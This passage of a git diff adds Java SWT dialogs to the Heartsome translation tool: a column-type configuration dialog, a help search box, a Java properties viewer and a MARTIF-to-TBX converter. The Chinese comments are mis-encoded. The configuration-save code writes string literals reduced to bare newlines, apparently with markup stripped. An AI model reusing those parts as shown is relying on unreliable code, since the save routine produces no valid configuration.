""); + String propType = vu.getCurrentElementAttribut("propType", ""); //$NON-NLS-1$ //$NON-NLS-2$ + String lang = vu.getCurrentElementAttribut("propLang", ""); //$NON-NLS-1$ //$NON-NLS-2$ + String propName = vu.getCurrentElementAttribut("propName", ""); + + arrCmbPropsLevel[i].setItems(levelValues); + arrCmbPropsLevel[i].select(0); + + // Update contents for Level combo + + if (!propLevel.equals("")) { //$NON-NLS-1$ + arrCmbPropsLevel[i].setText(propLevel); + if (propLevel.equals(ColProperties.conceptLevel)) { + arrCmbLangs[i].setEnabled(false); + arrCmbPropsName[i].setItems(conceptPropValues); + arrCmbPropsName[i].select(0); + arrCmbPropsType[i].setItems(conceptPropTypeValues); + arrCmbPropsType[i].select(0); + } + if (propLevel.equals(ColProperties.langLevel)) { + arrCmbLangs[i].setEnabled(true); + arrCmbPropsName[i].setItems(TranslationPropValues); + arrCmbPropsName[i].select(0); + arrCmbPropsType[i].setItems(termDescripPropTypeValues); + arrCmbPropsType[i].select(0); + } + } + + // Update content for Prop Name combo + if (!propName.equals("")) { //$NON-NLS-1$ + arrCmbPropsName[i].setText(propName); + } + + if (!propLevel.equals("")) { //$NON-NLS-1$ + if (propLevel.equals(ColProperties.conceptLevel)) { + arrCmbPropsType[i].setEnabled(propName.equals(ColProperties.descripName)); + arrCmbPropsType[i].setItems(conceptPropTypeValues); + arrCmbPropsType[i].select(0); + } + if (propLevel.equals(ColProperties.langLevel)) { + arrCmbPropsType[i].setEnabled(!propName.equals(ColProperties.termName)); + if (propName.equals(ColProperties.descripName)) { + arrCmbPropsType[i].setItems(termDescripPropTypeValues); + } else { + arrCmbPropsType[i].setItems(termTermNotePropTypeValues); + } + arrCmbPropsType[i].select(0); + } + } + + // Update content for Prop Type combo + if (!propType.equals("")) { //$NON-NLS-1$ + arrCmbPropsType[i].setText(propType); + } + + // Update content for Language Combo + arrCmbLangs[i].setItems(LocaleService.getLanguages()); + arrCmbLangs[i].select(0); + if (!lang.equals("")) { //$NON-NLS-1$ + arrCmbLangs[i].setText(lang); + } + i++; + } + } + } catch (XPathParseException e) { + LOGGER.error(Messages.getString("dialog.ColumnTypeDialog.logger1"), e); + } catch (NavException e) { + LOGGER.error(Messages.getString("dialog.ColumnTypeDialog.logger1"), e); + } catch (XPathEvalException e) { + LOGGER.error(Messages.getString("dialog.ColumnTypeDialog.logger1"), e); + } + } + + public void widgetDefaultSelected(SelectionEvent e) { + + } + }); + + btnSaveConfiguration.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent e) { + FileDialog fd = new FileDialog(getShell(), SWT.SAVE); + fd.setText(Messages.getString("dialog.ColumnTypeDialog.savefdTitle")); + String extensions[] = { "*.ctc", "*.*" }; //$NON-NLS-1$ //$NON-NLS-2$ + String[] names = { + Messages.getString("dialog.ColumnTypeDialog.filterName1"), Messages.getString("dialog.ColumnTypeDialog.filterName2") }; //$NON-NLS-1$ //$NON-NLS-2$ + fd.setFilterExtensions(extensions); + fd.setFilterNames(names); + fd.setFilterPath(System.getProperty("user.home")); + String name = fd.open(); + if (name == null) { + return; + } + try { + FileOutputStream output = new FileOutputStream(name); + output.write("\n".getBytes("UTF-8")); //$NON-NLS-1$ //$NON-NLS-2$ + output.write("\n".getBytes("UTF-8")); //$NON-NLS-1$ //$NON-NLS-2$ + for (int i = 0; i < arrCmbLangs.length; i++) { + String strItem = "\n"; //$NON-NLS-1$ + output.write(strItem.getBytes("UTF-8")); //$NON-NLS-1$ + } + output.write("\n".getBytes("UTF-8")); //$NON-NLS-1$ //$NON-NLS-2$ + output.close(); + } catch (FileNotFoundException e1) { + LOGGER.error(Messages.getString("dialog.ColumnTypeDialog.logger2"), e); + } catch (UnsupportedEncodingException e1) { + LOGGER.error(Messages.getString("dialog.ColumnTypeDialog.logger2"), e); + } catch (IOException e1) { + LOGGER.error(Messages.getString("dialog.ColumnTypeDialog.logger2"), e); + } + } + + public void widgetDefaultSelected(SelectionEvent e) { + + } + }); + } + + /** + * æ ¹æ®æ供的模æ¿åŠ è½½å„个属性值 + * @param template + * ; + */ + private void loadPropTypeValue(TBXTemplateUtil template) { + Vector values = new Vector(); + for (int i = 0; i < template.getItemCount(); i++) { + String itemLevels = template.getItemLevels(i); + String specName = template.getSpecName(i); + if ((itemLevels.indexOf(TBXTemplateUtil.lsLevel) >= 0 || itemLevels.trim().equals("")) && //$NON-NLS-1$ + specName.equals(TBXTemplateUtil.descripSpec)) { + + values.add(template.getItemDescription(i)); + } + } + termDescripPropTypeValues = new String[values.size()]; + for (int i = 0; i < termDescripPropTypeValues.length; i++) { + termDescripPropTypeValues[i] = values.get(i); + } + + values = new Vector(); + for (int i = 0; i < template.getItemCount(); i++) { + String itemLevels = template.getItemLevels(i); + String specName = template.getSpecName(i); + if ((itemLevels.indexOf(TBXTemplateUtil.lsLevel) >= 0 || itemLevels.trim().equals("")) && //$NON-NLS-1$ + specName.equals(TBXTemplateUtil.termNoteSpec)) { + + values.add(template.getItemDescription(i)); + } + } + + termTermNotePropTypeValues = new String[values.size()]; + for (int i = 0; i < termTermNotePropTypeValues.length; i++) { + termTermNotePropTypeValues[i] = values.get(i); + } + + values = new Vector(); + for (int i = 0; i < template.getItemCount(); i++) { + String itemLevels = template.getItemLevels(i); + String specName = template.getSpecName(i); + if ((itemLevels.indexOf(TBXTemplateUtil.teLevel) >= 0 || itemLevels.trim().equals("")) && //$NON-NLS-1$ + specName.equals(TBXTemplateUtil.descripSpec)) { + + values.add(template.getItemDescription(i)); + } + } + + conceptPropTypeValues = new String[values.size()]; + for (int i = 0; i < conceptPropTypeValues.length; i++) { + conceptPropTypeValues[i] = values.get(i); + } + + } + + private String[] getUserLangs() { + Hashtable langTable = new Hashtable(); + for (int c = 0; c < size; c++) { + String propLevel1 = arrCmbPropsLevel[c].getText(); + if (propLevel1.equals(ColProperties.langLevel)) { + langTable.put(LocaleService.getLanguageCodeByLanguage(arrCmbLangs[c].getText()), + LocaleService.getLanguageCodeByLanguage(arrCmbLangs[c].getText())); + } + } + + String[] result = new String[langTable.size()]; + Enumeration keys = langTable.keys(); + int index = 0; + while (keys.hasMoreElements()) { + result[index++] = keys.nextElement(); + } + return result; + } + + public boolean verifyColProperties() { + // Verify Unknown Properties + for (int i = 0; i < size; i++) { + String propName = arrCmbPropsName[i].getText(); + if (propName.equals("")) { //$NON-NLS-1$ + MessageDialog.openInformation(getShell(), Messages.getString("dialog.ColumnTypeDialog.msgTitle"), + Messages.getString("dialog.ColumnTypeDialog.msg2") + propName); + return false; + } + } + + // Verify duplicated columns + for (int i = 0; i < size; i++) { + String lang1 = LocaleService.getLanguageCodeByLanguage(arrCmbLangs[i].getText()); + String propName1 = arrCmbPropsName[i].getText(); + String propType1 = arrCmbPropsType[i].getText(); + String level1 = arrCmbPropsLevel[i].getText(); + if (level1.equals(ColProperties.conceptLevel)) { + continue; + } + for (int j = 0; j < size; j++) { + if (i == j) { + continue; + } + String lang2 = LocaleService.getLanguageCodeByLanguage(arrCmbLangs[j].getText()); + String propName2 = arrCmbPropsName[j].getText(); + String propType2 = arrCmbPropsType[j].getText(); + String level2 = arrCmbPropsLevel[i].getText(); + if (level2.equals(ColProperties.conceptLevel)) { + continue; + } + + if (lang1.equals(lang2)) { + if (propName1.equals(propName2) && propType1.equals(propType2)) { + MessageDialog.openInformation(getShell(), + Messages.getString("dialog.ColumnTypeDialog.msgTitle"), + Messages.getString("dialog.ColumnTypeDialog.msg3") + lang1); + return false; + } + } + } + } + + // Verify That a Term was defined for each language + String[] langs = getUserLangs(); + + for (int l = 0; l < langs.length; l++) { + boolean existTerm = false; + for (int i = 0; i < size; i++) { + String lang1 = LocaleService.getLanguageCodeByLanguage(arrCmbLangs[i].getText()); + String propName1 = arrCmbPropsName[i].getText(); + + if (lang1.equals(langs[l]) && propName1.equals(ColProperties.termName)) { + existTerm = true; + break; + } + } + if (!existTerm) { + MessageDialog.openInformation(getShell(), Messages.getString("dialog.ColumnTypeDialog.msgTitle"), + Messages.getString("dialog.ColumnTypeDialog.msg4") + langs[l]); + return false; + } + } + return true; + } + + @Override + protected void okPressed() { + if (!verifyColProperties()) { + return; + } + for (int i = 0; i < size; i++) { + ColProperties type = colTypes.get(i); + String propLevel = arrCmbPropsLevel[i].getText(); + String lang = LocaleService.getLanguageCodeByLanguage(arrCmbLangs[i].getText()); + String propName = arrCmbPropsName[i].getText(); + String propType = arrCmbPropsType[i].getText(); + type.setColumnType(propLevel, lang, propName, propType); + } + close(); + } +} diff --git a/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/dialog/HelpSearchDialog.java b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/dialog/HelpSearchDialog.java new file mode 100644 index 0000000..ac49e7a --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/dialog/HelpSearchDialog.java @@ -0,0 +1,95 @@ +package net.heartsome.cat.ts.ui.plugin.dialog; + +import net.heartsome.cat.ts.ui.plugin.resource.Messages; + +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.ModifyEvent; +import org.eclipse.swt.events.ModifyListener; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Text; + +/** + * 帮助内容对è¯æ¡†ä¸­çš„查找文本对è¯æ¡† + * @author peason + * @version + * @since JDK1.6 + */ +public class HelpSearchDialog extends Dialog { + + boolean cancelled; + boolean caseSensitive; + String searchText; + + public HelpSearchDialog(Shell parent) { + super(parent); + setShellStyle(SWT.DIALOG_TRIM | SWT.APPLICATION_MODAL); + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText(Messages.getString("dialog.HelpSearchDialog.title")); + } + + protected Control createDialogArea(Composite parent) { + Composite tparent = (Composite) super.createDialogArea(parent); + tparent.setLayout(new GridLayout()); + GridDataFactory.fillDefaults().align(SWT.FILL, SWT.FILL).grab(true, true).applyTo(tparent); + + Composite top = new Composite(tparent, SWT.NONE); + top.setLayout(new GridLayout(2, false)); + top.setLayoutData(new GridData(GridData.FILL_HORIZONTAL | GridData.GRAB_HORIZONTAL)); + + Label lblSearch = new Label(top, SWT.NONE); + lblSearch.setText(Messages.getString("dialog.HelpSearchDialog.lblSearch")); + + final Text text = new Text(top, SWT.BORDER); + GridData data = new GridData(GridData.FILL_HORIZONTAL | GridData.GRAB_HORIZONTAL); + data.widthHint = 250; + text.setLayoutData(data); + searchText = ""; + text.addModifyListener(new ModifyListener() { + + public void modifyText(ModifyEvent arg0) { + searchText = text.getText(); + } + }); + + final Button btnSensitive = new Button(tparent, SWT.CHECK); + btnSensitive.setText(Messages.getString("dialog.HelpSearchDialog.btnSensitive")); + btnSensitive.setSelection(true); + caseSensitive = true; + btnSensitive.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent arg0) { + caseSensitive = btnSensitive.getSelection(); + } + }); + + return tparent; + } + + @Override + protected void createButtonsForButtonBar(Composite parent) { + super.createButtonsForButtonBar(parent); + getButton(IDialogConstants.OK_ID).setText(Messages.getString("dialog.HelpSearchDialog.ok")); + } + + public String getText() { + return searchText; + } + + public boolean isSensitive() { + return caseSensitive; + } +} diff --git a/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/dialog/JavaPropertiesViewerDialog.java b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/dialog/JavaPropertiesViewerDialog.java new file mode 100644 index 0000000..87723e7 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/dialog/JavaPropertiesViewerDialog.java @@ -0,0 +1,278 @@ +package net.heartsome.cat.ts.ui.plugin.dialog; + +import java.io.BufferedReader; +import java.io.FileInputStream; +import java.io.IOException; +import java.io.InputStreamReader; +import java.util.Iterator; +import java.util.LinkedList; +import java.util.List; +import java.util.PropertyResourceBundle; +import java.util.Vector; + +import net.heartsome.cat.ts.ui.plugin.PluginConstants; +import net.heartsome.cat.ts.ui.plugin.TableViewerLabelProvider; +import net.heartsome.cat.ts.ui.plugin.resource.Messages; +import net.heartsome.cat.ts.ui.plugin.util.PluginUtil; + +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.layout.GridLayoutFactory; +import org.eclipse.jface.viewers.ArrayContentProvider; +import org.eclipse.jface.viewers.TableViewer; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.events.SelectionListener; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.Event; +import org.eclipse.swt.widgets.FileDialog; +import org.eclipse.swt.widgets.Listener; +import org.eclipse.swt.widgets.Menu; +import org.eclipse.swt.widgets.MenuItem; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Table; +import org.eclipse.swt.widgets.TableColumn; +import org.eclipse.swt.widgets.ToolBar; +import org.eclipse.swt.widgets.ToolItem; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * æ’件java properties viewer + * @author robert 2012-03-10 + * @version + * @since JDK1.6 备注:--robert undone (没有完æˆå¸®åŠ©æ–‡æ¡£çš„完善); + */ +public class JavaPropertiesViewerDialog extends Dialog { + + private static final Logger LOGGER = LoggerFactory.getLogger(JavaPropertiesViewerDialog.class); + + private TableViewer tableViewer; + private Table table; + private String openFilePath; + private String imagePath; + + public JavaPropertiesViewerDialog(Shell parentShell) { + super(parentShell); + openFilePath = PluginUtil.getAbsolutePath(PluginConstants.PIC_OPEN_CSV_PATH); + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText(Messages.getString("dialog.JavaPropertiesViewerDialog.title")); + imagePath = PluginUtil.getAbsolutePath(PluginConstants.LOGO_PROERTIESVIEWER_PATH); + newShell.setImage(new Image(Display.getDefault(), imagePath)); + } + + @Override + protected boolean isResizable() { + return true; + } + + @Override + protected void createButtonsForButtonBar(Composite parent) { + // super.createButtonsForButtonBar(parent); + parent.dispose(); + } + + @Override + protected Control createDialogArea(Composite parent) { + Composite tparent = (Composite) super.createDialogArea(parent); + GridDataFactory.fillDefaults().grab(true, true).hint(800, 700).applyTo(tparent); + GridLayoutFactory.fillDefaults().spacing(0, 0).extendedMargins(8, 8, 0, 8).applyTo(tparent); + createMenu(tparent); + createToolBar(tparent); + createTableViewer(tparent); + + tparent.layout(); + getShell().layout(); + return tparent; + } + + private void createMenu(Composite tparent) { + Menu menuBar = new Menu(getShell(), SWT.BAR); + getShell().setMenuBar(menuBar); + getShell().pack(); + + Rectangle screenSize = Display.getDefault().getClientArea(); + Rectangle frameSize = getShell().getBounds(); + getShell().setLocation((screenSize.width - frameSize.width) / 2, (screenSize.height - frameSize.height) / 2); + + // 文件èœå• + Menu fileMenu = new Menu(menuBar); + MenuItem fileItem = new MenuItem(menuBar, SWT.CASCADE); + fileItem.setText(Messages.getString("dialog.JavaPropertiesViewerDialog.fileMenu")); + fileItem.setMenu(fileMenu); + + MenuItem openFileItem = new MenuItem(fileMenu, SWT.PUSH); + openFileItem.setText(Messages.getString("dialog.JavaPropertiesViewerDialog.openFileItem")); + openFileItem.setImage(new Image(Display.getDefault(), openFilePath)); + openFileItem.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + openFile(); + } + }); + new MenuItem(fileMenu, SWT.SEPARATOR); + + MenuItem quitItem = new MenuItem(fileMenu, SWT.PUSH); + quitItem.setText(Messages.getString("dialog.JavaPropertiesViewerDialog.quitItem")); + quitItem.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + close(); + } + }); + + // 帮助èœå• + Menu helpMenu = new Menu(menuBar); + MenuItem helpItem = new MenuItem(menuBar, SWT.CASCADE); + helpItem.setText(Messages.getString("dialog.JavaPropertiesViewerDialog.helpMenu")); + helpItem.setMenu(helpMenu); + + MenuItem aboutItem = new MenuItem(helpMenu, SWT.PUSH); + aboutItem.setText(Messages.getString("dialog.JavaPropertiesViewerDialog.aboutItem")); + String aboutPath = PluginUtil.getAbsolutePath(PluginConstants.LOGO_PROERTIESVIEWER_MENU_PATH); + aboutItem.setImage(new Image(Display.getDefault(), aboutPath)); + aboutItem.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent e) { + AboutDialog dialog = new AboutDialog(getShell(), Messages + .getString("dialog.JavaPropertiesViewerDialog.aboutItemName"), imagePath, Messages + .getString("dialog.JavaPropertiesViewerDialog.version")); + dialog.open(); + } + + public void widgetDefaultSelected(SelectionEvent e) { + + } + }); + } + + private void createToolBar(Composite tparent) { + Composite toolBarCmp = new Composite(tparent, SWT.NONE); + GridDataFactory.fillDefaults().align(SWT.FILL, SWT.CENTER).applyTo(toolBarCmp); + GridLayoutFactory.fillDefaults().numColumns(1).applyTo(toolBarCmp); + + ToolBar toolBar = new ToolBar(toolBarCmp, SWT.NO_FOCUS | SWT.FLAT); + ToolItem openItem = new ToolItem(toolBar, SWT.PUSH); + openItem.setToolTipText(Messages.getString("dialog.JavaPropertiesViewerDialog.toolBar")); + openItem.setImage(new Image(Display.getDefault(), openFilePath)); + + openItem.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + openFile(); + } + }); + + } + + private void createTableViewer(Composite tparent) { + tableViewer = new TableViewer(tparent, SWT.H_SCROLL | SWT.V_SCROLL | SWT.FULL_SELECTION | SWT.MULTI + | SWT.BORDER); + table = tableViewer.getTable(); + table.setHeaderVisible(true); + table.setLinesVisible(true); + GridDataFactory.fillDefaults().grab(true, true).applyTo(table); + + String[] columnNames = new String[] { Messages.getString("dialog.JavaPropertiesViewerDialog.columnNames1"), + Messages.getString("dialog.JavaPropertiesViewerDialog.columnNames2") }; + int[] columnAlignments = new int[] { SWT.LEFT, SWT.LEFT }; + for (int i = 0; i < columnNames.length; i++) { + TableColumn tableColumn = new TableColumn(table, columnAlignments[i]); + tableColumn.setText(columnNames[i]); + tableColumn.setWidth(50); + } + + tableViewer.setLabelProvider(new TableViewerLabelProvider()); + tableViewer.setContentProvider(new ArrayContentProvider()); + // 让列表列宽动æ€å˜åŒ– + table.addListener(SWT.Resize, new Listener() { + public void handleEvent(Event event) { + final Table table = ((Table) event.widget); + final TableColumn[] columns = table.getColumns(); + event.widget.getDisplay().syncExec(new Runnable() { + public void run() { + double[] columnWidths = new double[] { 0.48, 0.48, }; + for (int i = 0; i < columns.length; i++) + columns[i].setWidth((int) (table.getBounds().width * columnWidths[i])); + } + }); + } + }); + } + + /** + * 打开文件 + */ + private void openFile() { + FileDialog fd = new FileDialog(getShell(), SWT.OPEN); + String[] extensions = { "*.properties", "*.*" }; + String[] names = { Messages.getString("dialog.JavaPropertiesViewerDialog.names1"), + Messages.getString("dialog.JavaPropertiesViewerDialog.names2") }; + fd.setFilterNames(names); + fd.setFilterExtensions(extensions); + String fileLocation = fd.open(); + if (fileLocation == null) { + return; + } + PropertyResourceBundle bundle; + try { + bundle = new PropertyResourceBundle(new FileInputStream(fileLocation)); + Vector vector = getKeys(fileLocation); + Iterator keys = vector.iterator(); + List data = new LinkedList(); + while (keys.hasNext()) { + String key = keys.next(); + String value = bundle.getString(key); + data.add(new String[] { key, value }); + } + tableViewer.setInput(data); + } catch (Exception e) { + LOGGER.error("", e); + } + } + + private Vector getKeys(String inputFile) throws IOException { + FileInputStream stream = new FileInputStream(inputFile); + InputStreamReader input = new InputStreamReader(stream, "UTF-8"); // ISO8859-1 + BufferedReader buffer = new BufferedReader(input); + Vector result = new Vector(); + String line; + while ((line = buffer.readLine()) != null) { + + if (line.trim().length() == 0) { + // no text in this line + // segment separator + } else if (line.trim().startsWith("#")) { + // this line is a comment + // send to skeleton + } else { + String tmp = line; + if (line.trim().endsWith("\\")) { + do { + line = buffer.readLine(); + tmp += "\n" + line; + } while (line != null && line.trim().endsWith("\\")); + } + int index = tmp.indexOf("="); + if (index != -1) { + String key = tmp.substring(0, index).trim(); + result.add(key); + } else { + // this line may be wrong, + // ignore and continue + } + } + } + input.close(); + return result; + } +} diff --git a/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/dialog/Martif2TBXConverterDialog.java b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/dialog/Martif2TBXConverterDialog.java new file mode 100644 index 0000000..5f5afc4 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/dialog/Martif2TBXConverterDialog.java @@ -0,0 +1,249 @@ +package net.heartsome.cat.ts.ui.plugin.dialog; + +import net.heartsome.cat.ts.ui.plugin.PluginConstants; +import net.heartsome.cat.ts.ui.plugin.resource.Messages; +import net.heartsome.cat.ts.ui.plugin.util.Martif2Tbx; +import net.heartsome.cat.ts.ui.plugin.util.PluginUtil; + +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.events.SelectionListener; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.FileDialog; +import org.eclipse.swt.widgets.Menu; +import org.eclipse.swt.widgets.MenuItem; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Text; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * MARTIF to TBX Converter 对è¯æ¡† + * @author peason + * @version + * @since JDK1.6 + */ +public class Martif2TBXConverterDialog extends Dialog { + + private static final Logger LOGGER = LoggerFactory.getLogger(LoggerFactory.class); + + /** Logo 图片路径 */ + private String imagePath; + + /** Martif 路径文本框 */ + private Text txtMartif; + + /** Martif 文件选择按钮 */ + private Button btnMartifBrowse; + + /** TBX 路径文本框 */ + private Text txtTBX; + + /** TBX 文件选择按钮 */ + private Button btnTBXBrowse; + + /** + * 构造方法 + * @param parentShell + */ + public Martif2TBXConverterDialog(Shell parentShell) { + super(parentShell); + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText(Messages.getString("dialog.Martif2TBXConverterDialog.title")); + imagePath = PluginUtil.getAbsolutePath(PluginConstants.LOGO_MARTIF2TBX_PATH); + newShell.setImage(new Image(Display.getDefault(), imagePath)); + } + + @Override + protected Control createDialogArea(Composite parent) { + Composite tparent = (Composite) super.createDialogArea(parent); + tparent.setLayout(new GridLayout(3, false)); + GridDataFactory.fillDefaults().align(SWT.FILL, SWT.FILL).hint(400, 160).grab(true, true).applyTo(tparent); + + createMenu(); + + PluginUtil.createLabel(tparent, Messages.getString("dialog.Martif2TBXConverterDialog.txtMartif")); + txtMartif = new Text(tparent, SWT.BORDER); + txtMartif.setEditable(false); + txtMartif.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + btnMartifBrowse = new Button(tparent, SWT.None); + btnMartifBrowse.setText(Messages.getString("dialog.Martif2TBXConverterDialog.btnMartifBrowse")); + + PluginUtil.createLabel(tparent, Messages.getString("dialog.Martif2TBXConverterDialog.txtTBX")); + txtTBX = new Text(tparent, SWT.BORDER); + txtTBX.setEditable(false); + txtTBX.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + btnTBXBrowse = new Button(tparent, SWT.None); + btnTBXBrowse.setText(Messages.getString("dialog.Martif2TBXConverterDialog.btnTBXBrowse")); + initListener(); + + tparent.layout(); + getShell().layout(); + return tparent; + } + + /** + * 创建èœå• ; + */ + private void createMenu() { + Menu menu = new Menu(getShell(), SWT.BAR); + getShell().setMenuBar(menu); + getShell().pack(); + + Rectangle screenSize = Display.getDefault().getClientArea(); + Rectangle frameSize = getShell().getBounds(); + getShell().setLocation((screenSize.width - frameSize.width) / 2, (screenSize.height - frameSize.height) / 2); + + Menu fileMenu = new Menu(menu); + MenuItem fileItem = new MenuItem(menu, SWT.CASCADE); + fileItem.setText(Messages.getString("dialog.Martif2TBXConverterDialog.fileMenu")); + fileItem.setMenu(fileMenu); + MenuItem exitItem = new MenuItem(fileMenu, SWT.PUSH); + exitItem.setText(Messages.getString("dialog.Martif2TBXConverterDialog.exitItem")); + exitItem.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent e) { + close(); + } + + public void widgetDefaultSelected(SelectionEvent e) { + + } + }); + + Menu helpMenu = new Menu(menu); + MenuItem helpItem = new MenuItem(menu, SWT.CASCADE); + helpItem.setText(Messages.getString("dialog.Martif2TBXConverterDialog.helpMenu")); + helpItem.setMenu(helpMenu); + + MenuItem aboutItem = new MenuItem(helpMenu, SWT.PUSH); + aboutItem.setText(Messages.getString("dialog.Martif2TBXConverterDialog.aboutItem")); + String imgPath = PluginUtil.getAbsolutePath(PluginConstants.LOGO_MARTIF2TBX_MENU_PATH); + aboutItem.setImage(new Image(Display.getDefault(), imgPath)); + aboutItem.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent e) { + AboutDialog dialog = new AboutDialog(getShell(), Messages + .getString("dialog.Martif2TBXConverterDialog.dialogName"), imagePath, Messages + .getString("dialog.Martif2TBXConverterDialog.dialogVersion")); + dialog.open(); + } + + public void widgetDefaultSelected(SelectionEvent e) { + + } + }); + } + + private void initListener() { + btnMartifBrowse.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent e) { + FileDialog dialog = new FileDialog(getShell(), SWT.OPEN); + dialog.setText(Messages.getString("dialog.Martif2TBXConverterDialog.dialogTitle1")); + String extensions[] = { "*.mtf", "*" }; //$NON-NLS-1$ //$NON-NLS-2$ + String names[] = { + Messages.getString("dialog.Martif2TBXConverterDialog.names1"), Messages.getString("dialog.Martif2TBXConverterDialog.names2") }; //$NON-NLS-1$ //$NON-NLS-2$ + dialog.setFilterNames(names); + dialog.setFilterExtensions(extensions); + String fileSep = System.getProperty("file.separator"); + if (txtMartif.getText() != null && !txtMartif.getText().trim().equals("")) { + dialog.setFilterPath(txtMartif.getText().substring(0, txtMartif.getText().lastIndexOf(fileSep))); + dialog.setFileName(txtMartif.getText().substring(txtMartif.getText().lastIndexOf(fileSep) + 1)); + } else { + dialog.setFilterPath(System.getProperty("user.home")); + } + String filePath = dialog.open(); + if (filePath != null) { + txtMartif.setText(filePath); + txtTBX.setText(filePath + ".tbx"); + } + } + + public void widgetDefaultSelected(SelectionEvent e) { + + } + }); + + btnTBXBrowse.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent e) { + FileDialog dialog = new FileDialog(getShell(), SWT.SAVE); + dialog.setText(Messages.getString("dialog.Martif2TBXConverterDialog.dialogTitle2")); + String extensions[] = { "*.tbx", "*" }; //$NON-NLS-1$ //$NON-NLS-2$ + String names[] = { + Messages.getString("dialog.Martif2TBXConverterDialog.filters1"), Messages.getString("dialog.Martif2TBXConverterDialog.filters2") }; //$NON-NLS-1$ //$NON-NLS-2$ + dialog.setFilterNames(names); + dialog.setFilterExtensions(extensions); + String fileSep = System.getProperty("file.separator"); + if (txtTBX.getText() != null && !txtTBX.getText().trim().equals("")) { + dialog.setFilterPath(txtTBX.getText().substring(0, txtTBX.getText().lastIndexOf(fileSep))); + dialog.setFileName(txtTBX.getText().substring(txtTBX.getText().lastIndexOf(fileSep) + 1)); + } else { + dialog.setFilterPath(System.getProperty("user.home")); + } + String filePath = dialog.open(); + if (filePath != null) { + txtTBX.setText(filePath); + } + } + + public void widgetDefaultSelected(SelectionEvent e) { + + } + }); + } + + @Override + protected void createButtonsForButtonBar(Composite parent) { + super.createButtonsForButtonBar(parent); + getButton(IDialogConstants.OK_ID).setText(Messages.getString("dialog.Martif2TBXConverterDialog.ok")); + getButton(IDialogConstants.CANCEL_ID).setText(Messages.getString("dialog.Martif2TBXConverterDialog.cancel")); + + getDialogArea().getParent().layout(); + getShell().layout(); + } + + @Override + protected void okPressed() { + String martifPath = txtMartif.getText(); + if (martifPath == null || martifPath.equals("")) { + MessageDialog.openInformation(getShell(), Messages.getString("dialog.Martif2TBXConverterDialog.msgTitle"), + Messages.getString("dialog.Martif2TBXConverterDialog.msg1")); + return; + } + String tbxPath = txtTBX.getText(); + if (tbxPath == null || tbxPath.equals("")) { + MessageDialog.openInformation(getShell(), Messages.getString("dialog.Martif2TBXConverterDialog.msgTitle"), + Messages.getString("dialog.Martif2TBXConverterDialog.msg2")); + return; + } + Martif2Tbx converter = new Martif2Tbx(); + try { + converter.convertFile(martifPath, tbxPath); + MessageDialog.openInformation(getShell(), Messages.getString("dialog.Martif2TBXConverterDialog.msgTitle"), + Messages.getString("dialog.Martif2TBXConverterDialog.msg3")); + } catch (Exception e) { + LOGGER.error(e.getMessage(), e); + 